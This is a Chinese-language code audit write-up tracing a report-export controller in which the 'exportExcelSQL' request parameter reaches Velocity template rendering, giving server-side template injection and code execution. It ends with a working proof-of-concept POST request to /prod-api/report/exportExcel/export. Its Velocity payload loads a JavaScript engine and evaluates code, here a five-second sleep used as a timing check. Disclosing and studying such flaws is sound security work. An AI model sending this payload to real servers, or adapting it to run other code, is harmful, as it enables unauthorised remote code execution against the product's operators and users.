代码审计
直接看代码/controller/ExportExcelController.java
前面都是从请求参数获取值。

主要看下面这几个IF,其中当isBySQL=true时会进入exportExcelBySQL方法
else if (isBySQL) {
fileName = exportExcelBySQL(request, saveAsDir);
跟进exportExcelBySQL方法
private String exportExcelBySQL(HttpServletRequest request, String saveAsDir) throws IOException, SQLException {
String fileName;
String sql = request.getParameter("exportExcelSQL");
int startExportColIndex = ReportCommon.getIntRequest(request, "startExportColIndex");
String headerJson = request.getParameter("headerJson");
if (startExportColIndex == -1) {
fileName = this.exportExcelService.exportExcelBySQL(sql, headerJson, saveAsDir);
} else {
fileName = this.exportExcelService.exportExcelBySQL(sql, startExportColIndex, headerJson, saveAsDir);
}
return fileName;
}
跟进exportExcelBySQL方法,最后会来到这个方法
注意VelocityUtil.getInstance().renderTemplateContent(sql, new VelocityContext(params)), params) ,十分明显的Velocity模版解析,并且sql参数也是我们从前端传入的
即exportExcelSQL,所以我们只需要构造相应参数即可实现命令执行
public String exportExcelBySQL(String sql, int startExportColIndex, String headerJson, String saveAsDir) throws IOException, SQLException {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
Map<String, Object> params = ReportCommon.getQueryParas(request);
boolean isMulti = ReportCommon.toBoolean(params.get("isMulti"));
DataTable dt = this.reportService.queryData(VelocityUtil.getInstance().renderTemplateContent(sql, new VelocityContext(params)), params);
return exportExcel(dt, startExportColIndex, "", false, headerJson, saveAsDir, isMulti);
}
POC
POST /prod-api/report/exportExcel/export HTTP/1.1
Host: XXXXXXXXXXXXXXX
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
templateExportType=2&isDownLoad=true&isBySQL=true&isByJsonAndXml=false&exportExcelSQL=#set($x=%22%22);$x.class.forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22js%22).eval(%22java.lang.Thread.sleep(5000)%22)&headerJson={"columns":[{"title":"ID"}]}&templateDir=test&saveAsFileName=output.xlsx